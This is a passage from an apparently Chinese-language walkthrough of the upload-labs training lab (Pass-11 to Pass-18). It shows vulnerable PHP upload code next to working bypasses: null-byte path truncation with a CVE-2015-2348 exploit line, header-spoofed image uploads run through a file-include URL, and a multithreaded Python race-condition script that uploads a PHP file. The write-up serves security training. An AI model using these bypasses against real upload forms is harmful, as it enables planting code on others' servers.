FALSE,或者返回一个空字符串。</td></tr></tbody></table><blockquote><p><code>strrpos()</code> 函数查找字符串在另一字符串中最后一次出现的位置</p><p><strong>注释:</strong><code>strrpos()</code> 函数对大小写敏感</p><p>语法:<code>strrpos(string,find,start)</code></p></blockquote><table><thead><tr><th align="left">参数</th><th align="left">描述</th></tr></thead><tbody><tr><td align="left"><em>string</em></td><td align="left">必需。规定被搜索的字符串。</td></tr><tr><td align="left"><em>find</em></td><td align="left">必需。规定要查找的字符。</td></tr><tr><td align="left"><em>start</em></td><td align="left">可选。规定在何处开始搜索。</td></tr><tr><td align="left">返回值:</td><td align="left">返回字符串在另一字符串中最后一次出现的位置,如果没有找到字符串则返回 FALS</td></tr></tbody></table><p><a href="http://www.cnblogs.com/cyjaysun/p/4390930.html">CVE-2015-2348</a>影响版本:<code>5.4.x<= 5.4.39, 5.5.x<= 5.5.23, 5.6.x <= 5.6.7</code>exp:<code>move_uploaded_file($_FILES['name']['tmp_name'],"/file.php\x00.jpg");</code></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103172830640.png" alt="image-20201103172830640"></p><h3 id="2-利用-10"><a href="#2-利用-10" class="headerlink" title="2. 利用"></a>2. 利用</h3><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103174634003.png" alt="image-20201103174634003"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103174737499.png" alt="image-20201103174737499"></p><h2 id="Pass-12-0x00绕过"><a href="#Pass-12-0x00绕过" class="headerlink" title="Pass-12 0x00绕过"></a>Pass-12 0x00绕过</h2><h3 id="1-分析-8"><a href="#1-分析-8" class="headerlink" title="1. 分析"></a>1. 分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#Pass-12</span></span><br><span class="line">$is_upload = <span class="literal">false</span>;</span><br><span class="line">$msg = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_POST[<span class="string">'submit'</span>])){</span><br><span class="line"> $ext_arr = <span class="keyword">array</span>(<span class="string">'jpg'</span>,<span class="string">'png'</span>,<span class="string">'gif'</span>);</span><br><span class="line"> $file_ext = substr($_FILES[<span class="string">'upload_file'</span>][<span class="string">'name'</span>],strrpos($_FILES[<span class="string">'upload_file'</span>][<span class="string">'name'</span>],<span class="string">"."</span>)+<span class="number">1</span>);</span><br><span class="line"> <span class="keyword">if</span>(in_array($file_ext,$ext_arr)){</span><br><span class="line"> $temp_file = $_FILES[<span class="string">'upload_file'</span>][<span class="string">'tmp_name'</span>];</span><br><span class="line"> $img_path = $_POST[<span class="string">'save_path'</span>].<span class="string">"/"</span>.rand(<span class="number">10</span>, <span class="number">99</span>).date(<span class="string">"YmdHis"</span>).<span class="string">"."</span>.$file_ext;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(move_uploaded_file($temp_file,$img_path)){</span><br><span class="line"> $is_upload = <span class="literal">true</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">"上传失败"</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">"只允许上传.jpg|.png|.gif类型文件!"</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103195106747.png" alt="image-20201103195106747"></p><blockquote><p>php.ini设置 <code>magic_quotes_gpc = Off</code></p></blockquote><p>原理同<strong>Pass-11</strong>,上传路径<code>0x00</code>绕过。利用Burpsuite的Hex功能将save_path改成<code>../upload/12.php(二进制00)</code>形式</p><h3 id="2-利用-11"><a href="#2-利用-11" class="headerlink" title="2. 利用"></a>2. 利用</h3><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103195331575.png" alt="image-20201103195331575"></p><p>1对应31,我们将31改成<code>00</code>, </p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103195537359.png" alt="image-20201103195537359"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103195630009.png" alt="image-20201103195630009"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103195700377.png" alt="image-20201103195700377"></p><h2 id="Pass-13-文件头类型绕过"><a href="#Pass-13-文件头类型绕过" class="headerlink" title="Pass-13 文件头类型绕过"></a>Pass-13 文件头类型绕过</h2><h3 id="1-分析-9"><a href="#1-分析-9" class="headerlink" title="1. 分析"></a>1. 分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getReailFileType</span>(<span class="params">$filename</span>)</span>{</span><br><span class="line"> $file = fopen($filename, <span class="string">"rb"</span>);</span><br><span class="line"> $bin = fread($file, <span class="number">2</span>); <span class="comment">//只读2字节</span></span><br><span class="line"> fclose($file);</span><br><span class="line"> $strInfo = @unpack(<span class="string">"C2chars"</span>, $bin); </span><br><span class="line"> $typeCode = intval($strInfo[<span class="string">'chars1'</span>].$strInfo[<span class="string">'chars2'</span>]); </span><br><span class="line"> $fileType = <span class="string">''</span>; </span><br><span class="line"> <span class="keyword">switch</span>($typeCode){ </span><br><span class="line"> <span class="keyword">case</span> <span class="number">255216</span>: </span><br><span class="line"> $fileType = <span class="string">'jpg'</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">13780</span>: </span><br><span class="line"> $fileType = <span class="string">'png'</span>;</span><br><span class="line"> <span class="keyword">break</span>; </span><br><span class="line"> <span class="keyword">case</span> <span class="number">7173</span>: </span><br><span class="line"> $fileType = <span class="string">'gif'</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>: </span><br><span class="line"> $fileType = <span class="string">'unknown'</span>;</span><br><span class="line"> } </span><br><span class="line"> <span class="keyword">return</span> $fileType;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$is_upload = <span class="literal">false</span>;</span><br><span class="line">$msg = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_POST[<span class="string">'submit'</span>])){</span><br><span class="line"> $temp_file = $_FILES[<span class="string">'upload_file'</span>][<span class="string">'tmp_name'</span>];</span><br><span class="line"> $file_type = getReailFileType($temp_file);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>($file_type == <span class="string">'unknown'</span>){</span><br><span class="line"> $msg = <span class="string">"文件未知,上传失败!"</span>;</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> $img_path = UPLOAD_PATH.<span class="string">"/"</span>.rand(<span class="number">10</span>, <span class="number">99</span>).date(<span class="string">"YmdHis"</span>).<span class="string">"."</span>.$file_type;</span><br><span class="line"> <span class="keyword">if</span>(move_uploaded_file($temp_file,$img_path)){</span><br><span class="line"> $is_upload = <span class="literal">true</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">"上传出错!"</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>通过读文件的前2个字节判断文件类型,</p><h3 id="2-利用-12"><a href="#2-利用-12" class="headerlink" title="2. 利用"></a>2. 利用</h3><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103201222006.png" alt="image-20201103201222006"></p><p>结合文件上传,构造<code>payload:http://172.16.9.177/include.php?file=upload/5920201103201712.gif</code></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103201328775.png" alt="image-20201103201328775"></p><h2 id="Pass-14-文件头类型绕过"><a href="#Pass-14-文件头类型绕过" class="headerlink" title="Pass-14 文件头类型绕过"></a>Pass-14 文件头类型绕过</h2><p>同理<code>Pass-13</code></p><h2 id="Pass-15-文件头类型绕过"><a href="#Pass-15-文件头类型绕过" class="headerlink" title="Pass-15 文件头类型绕过"></a>Pass-15 文件头类型绕过</h2><p>同理<code>Pass14</code></p><h2 id="Pass-16-图片马"><a href="#Pass-16-图片马" class="headerlink" title="Pass-16 图片马"></a>Pass-16 图片马</h2><h3 id="1-分析-10"><a href="#1-分析-10" class="headerlink" title="1. 分析"></a>1. 分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br></pre></td><td class="code"><pre><span class="line">$is_upload = <span class="literal">false</span>;</span><br><span class="line">$msg = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_POST[<span class="string">'submit'</span>])){</span><br><span class="line"> <span class="comment">// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径</span></span><br><span class="line"> $filename = $_FILES[<span class="string">'upload_file'</span>][<span class="string">'name'</span>];</span><br><span class="line"> $filetype = $_FILES[<span class="string">'upload_file'</span>][<span class="string">'type'</span>];</span><br><span class="line"> $tmpname = $_FILES[<span class="string">'upload_file'</span>][<span class="string">'tmp_name'</span>];</span><br><span class="line"></span><br><span class="line"> $target_path=UPLOAD_PATH.<span class="string">'/'</span>.basename($filename);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 获得上传文件的扩展名</span></span><br><span class="line"> $fileext= substr(strrchr($filename,<span class="string">"."</span>),<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//判断文件后缀与类型,合法才进行上传操作</span></span><br><span class="line"> <span class="keyword">if</span>(($fileext == <span class="string">"jpg"</span>) && ($filetype==<span class="string">"image/jpeg"</span>)){</span><br><span class="line"> <span class="keyword">if</span>(move_uploaded_file($tmpname,$target_path)){</span><br><span class="line"> <span class="comment">//使用上传的图片生成新的图片</span></span><br><span class="line"> $im = imagecreatefromjpeg($target_path);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>($im == <span class="literal">false</span>){</span><br><span class="line"> $msg = <span class="string">"该文件不是jpg格式的图片!"</span>;</span><br><span class="line"> @unlink($target_path);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="comment">//给新图片指定文件名</span></span><br><span class="line"> srand(time());</span><br><span class="line"> $newfilename = strval(rand()).<span class="string">".jpg"</span>;</span><br><span class="line"> <span class="comment">//显示二次渲染后的图片(使用用户上传图片生成的新图片)</span></span><br><span class="line"> $img_path = UPLOAD_PATH.<span class="string">'/'</span>.$newfilename;</span><br><span class="line"> imagejpeg($im,$img_path);</span><br><span class="line"> @unlink($target_path);</span><br><span class="line"> $is_upload = <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">"上传出错!"</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }<span class="keyword">else</span> <span class="keyword">if</span>(($fileext == <span class="string">"png"</span>) && ($filetype==<span class="string">"image/png"</span>)){</span><br><span class="line"> <span class="keyword">if</span>(move_uploaded_file($tmpname,$target_path)){</span><br><span class="line"> <span class="comment">//使用上传的图片生成新的图片</span></span><br><span class="line"> $im = imagecreatefrompng($target_path);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>($im == <span class="literal">false</span>){</span><br><span class="line"> $msg = <span class="string">"该文件不是png格式的图片!"</span>;</span><br><span class="line"> @unlink($target_path);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="comment">//给新图片指定文件名</span></span><br><span class="line"> srand(time());</span><br><span class="line"> $newfilename = strval(rand()).<span class="string">".png"</span>;</span><br><span class="line"> <span class="comment">//显示二次渲染后的图片(使用用户上传图片生成的新图片)</span></span><br><span class="line"> $img_path = UPLOAD_PATH.<span class="string">'/'</span>.$newfilename;</span><br><span class="line"> imagepng($im,$img_path);</span><br><span class="line"></span><br><span class="line"> @unlink($target_path);</span><br><span class="line"> $is_upload = <span class="literal">true</span>; </span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">"上传出错!"</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }<span class="keyword">else</span> <span class="keyword">if</span>(($fileext == <span class="string">"gif"</span>) && ($filetype==<span class="string">"image/gif"</span>)){</span><br><span class="line"> <span class="keyword">if</span>(move_uploaded_file($tmpname,$target_path)){</span><br><span class="line"> <span class="comment">//使用上传的图片生成新的图片</span></span><br><span class="line"> $im = imagecreatefromgif($target_path);</span><br><span class="line"> <span class="keyword">if</span>($im == <span class="literal">false</span>){</span><br><span class="line"> $msg = <span class="string">"该文件不是gif格式的图片!"</span>;</span><br><span class="line"> @unlink($target_path);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="comment">//给新图片指定文件名</span></span><br><span class="line"> srand(time());</span><br><span class="line"> $newfilename = strval(rand()).<span class="string">".gif"</span>;</span><br><span class="line"> <span class="comment">//显示二次渲染后的图片(使用用户上传图片生成的新图片)</span></span><br><span class="line"> $img_path = UPLOAD_PATH.<span class="string">'/'</span>.$newfilename;</span><br><span class="line"> imagegif($im,$img_path);</span><br><span class="line"></span><br><span class="line"> @unlink($target_path);</span><br><span class="line"> $is_upload = <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">"上传出错!"</span>;</span><br><span class="line"> }</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> $msg = <span class="string">"只允许上传后缀为.jpg|.png|.gif的图片文件!"</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>判断了<code>后缀名</code>、<code>content-type</code>,以及利用<code>imagecreatefromgif</code>判断是否为gif图片,最后再做了一次二次渲染</p><h3 id="2-利用-13"><a href="#2-利用-13" class="headerlink" title="2. 利用"></a>2. 利用</h3><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103202410138.png" alt="image-20201103202410138"></p><h2 id="Pass-17-条件竞争"><a href="#Pass-17-条件竞争" class="headerlink" title="Pass-17 条件竞争"></a>Pass-17 条件竞争</h2><h3 id="1-分析-11"><a href="#1-分析-11" class="headerlink" title="1. 分析"></a>1. 分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">$is_upload = <span class="literal">false</span>;</span><br><span class="line">$msg = <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_POST[<span class="string">'submit'</span>])){</span><br><span class="line"> $ext_arr = <span class="keyword">array</span>(<span class="string">'jpg'</span>,<span class="string">'png'</span>,<span class="string">'gif'</span>);</span><br><span class="line"> $file_name = $_FILES[<span class="string">'upload_file'</span>][<span class="string">'name'</span>];</span><br><span class="line"> $temp_file = $_FILES[<span class="string">'upload_file'</span>][<span class="string">'tmp_name'</span>];</span><br><span class="line"> $file_ext = substr($file_name,strrpos($file_name,<span class="string">"."</span>)+<span class="number">1</span>);</span><br><span class="line"> $upload_file = UPLOAD_PATH . <span class="string">'/'</span> . $file_name;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(move_uploaded_file($temp_file, $upload_file)){</span><br><span class="line"> <span class="keyword">if</span>(in_array($file_ext,$ext_arr)){</span><br><span class="line"> $img_path = UPLOAD_PATH . <span class="string">'/'</span>. rand(<span class="number">10</span>, <span class="number">99</span>).date(<span class="string">"YmdHis"</span>).<span class="string">"."</span>.$file_ext;</span><br><span class="line"> rename($upload_file, $img_path);</span><br><span class="line"> $is_upload = <span class="literal">true</span>;</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> $msg = <span class="string">"只允许上传.jpg|.png|.gif类型文件!"</span>;</span><br><span class="line"> unlink($upload_file);</span><br><span class="line"> }</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> $msg = <span class="string">'上传出错!'</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>可以看到文件先经过保存,然后判断后缀名是否在白名单中,如果不在则删除,此时可以利用条件竞争在保存文件后删除文件前来执行php文件</p><h3 id="2-利用-14"><a href="#2-利用-14" class="headerlink" title="2.利用"></a>2.利用</h3><p>利用条件竞争删除文件时间差绕过。使用命令<code>pip install hackhttp</code>安装<a href="https://github.com/BugScanTeam/hackhttp">hackhttp</a>模块,运行下面的Python代码即可。如果还是删除太快,可以适当调整线程并发数</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># coding:utf-8</span></span><br><span class="line"></span><br><span class="line">import hackhttp</span><br><span class="line"><span class="keyword">from</span> multiprocessing.dummy import Pool <span class="keyword">as</span> ThreadPool</span><br><span class="line"></span><br><span class="line">def upload(lists):</span><br><span class="line"> hh = hackhttp.hackhttp()</span><br><span class="line"> raw = <span class="string">""</span><span class="string">"POST /Pass-17/index.php HTTP/1.1</span></span><br><span class="line"><span class="string">Host: 127.0.0.1</span></span><br><span class="line"><span class="string">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0</span></span><br><span class="line"><span class="string">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span></span><br><span class="line"><span class="string">Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</span></span><br><span class="line"><span class="string">Accept-Encoding: gzip, deflate</span></span><br><span class="line"><span class="string">Referer: http://127.0.0.1/Pass-17/index.php</span></span><br><span class="line"><span class="string">Cookie: pass=17</span></span><br><span class="line"><span class="string">Connection: close</span></span><br><span class="line"><span class="string">Upgrade-Insecure-Requests: 1</span></span><br><span class="line"><span class="string">Content-Type: multipart/form-data; boundary=---------------------------6696274297634</span></span><br><span class="line"><span class="string">Content-Length: 341</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">-----------------------------6696274297634</span></span><br><span class="line"><span class="string">Content-Disposition: form-data; name="</span>upload_file<span class="string">"; filename="</span><span class="number">17.</span>php<span class="string">"</span></span><br><span class="line"><span class="string">Content-Type: application/octet-stream</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"><?php phpinfo();?></span></span><br><span class="line"><span class="string">-----------------------------6696274297634</span></span><br><span class="line"><span class="string">Content-Disposition: form-data; name="</span>submit<span class="string">"</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">上传</span></span><br><span class="line"><span class="string">-----------------------------6696274297634--</span></span><br><span class="line"><span class="string">"</span><span class="string">""</span></span><br><span class="line"> code, head, html, redirect, log = hh.http(<span class="string">'http://127.0.0.1/Pass-17/index.php'</span>, raw=raw)</span><br><span class="line"> <span class="keyword">print</span>(str(code) + <span class="string">"\r"</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">pool = ThreadPool(<span class="number">200</span>)</span><br><span class="line">pool.map(upload, range(<span class="number">100000</span>))</span><br><span class="line">pool.close()</span><br><span class="line">pool.join()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103205230451.png" alt="image-20201103205230451"></p><h2 id="Pass-18-条件竞争"><a href="#Pass-18-条件竞争" class="headerlink" title="Pass-18 条件竞争"></a>Pass-18 条件竞争</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//index.php</span></span><br><span class="line">$is_upload = <span class="literal">false</span>;</span><br><span class="line">$msg = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_POST[<span class="string">'submit'</span>]))</span><br><span class="line">{</span><br><span class="line"> <span class="keyword">require_once</span>(<span class="string">"./myupload.php"</span>);</span><br><span class="line"> $imgFileName =time();</span><br><span class="line"> $u = <span class="keyword">new</span> MyUpload($_FILES[<span class="string">'upload_file'</span>][<span class="string">'name'</span>], $_FILES[<span class="string">'upload_file'</span>][<span class="string">'tmp_name'</span>], $_FILES[<span class="string">'upload_file'</span>][<span class="string">'size'</span>],$imgFileName);</span><br><span class="line"> $status_code = $u->upload(UPLOAD_PATH);</span><br><span class="line"> <span class="keyword">switch</span> ($status_code) {</span><br><span class="line"> <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line"> $is_upload = <span class="literal">true</span>;</span><br><span class="line"> $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line"> $msg = <span class="string">'文件已经被上传,但没有重命名。'</span>;</span><br><span class="line"> <span class="keyword">break</span>; </span><br><span class="line"> <span class="keyword">case</span> <span class="number">-1</span>:</span><br><span class="line"> $msg = <span class="string">'这个文件不能上传到服务器的临时文件存储目录。'</span>;</span><br><span class="line"> <span class="keyword">break</span>; </span><br><span class="line"> <span class="keyword">case</span> <span class="number">-2</span>:</span><br><span class="line"> $msg = <span class="string">'上传失败,上传目录不可写。'</span>;</span><br><span class="line"> <span class="keyword">break</span>; </span><br><span class="line"> <span class="keyword">case</span> <span class="number">-3</span>:</span><br><span class="line"> $msg = <span class="string">'上传失败,无法上传该类型文件。'</span>;</span><br><span class="line"> <span class="keyword">break</span>; </span><br><span class="line"> <span class="keyword">case</span> <span class="number">-4</span>:</span><br><span class="line"> $msg = <span class="string">'上传失败,上传的文件过大。'</span>;</span><br><span class="line"> <span class="keyword">break</span>; </span><br><span class="line"> <span class="keyword">case</span> <span class="number">-5</span>:</span><br><span class="line"> $msg = <span class="string">'上传失败,服务器已经存在相同名称文件。'</span>;</span><br><span class="line"> <span class="keyword">break</span>; </span><br><span class="line"> <span class="keyword">case</span> <span class="number">-6</span>:</span><br><span class="line"> $msg = <span class="string">'文件无法上传,文件不能复制到目标目录。'</span>;</span><br><span class="line"> <span class="keyword">break</span>; </span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> $msg = <span class="string">'未知错误!'</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//myupload.php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MyUpload</span></span>{</span><br><span class="line">......</span><br><span class="line">......</span><br><span class="line">...... </span><br><span class="line"> <span class="keyword">var</span> $cls_arr_ext_accepted = <span class="keyword">array</span>(</span><br><span class="line"> <span class="string">".doc"</span>, <span class="string">".xls"</span>, <span class="string">".txt"</span>, <span class="string">".pdf"</span>, <span class="string">".gif"</span>, <span class="string">".jpg"</span>, <span class="string">".zip"</span>, <span 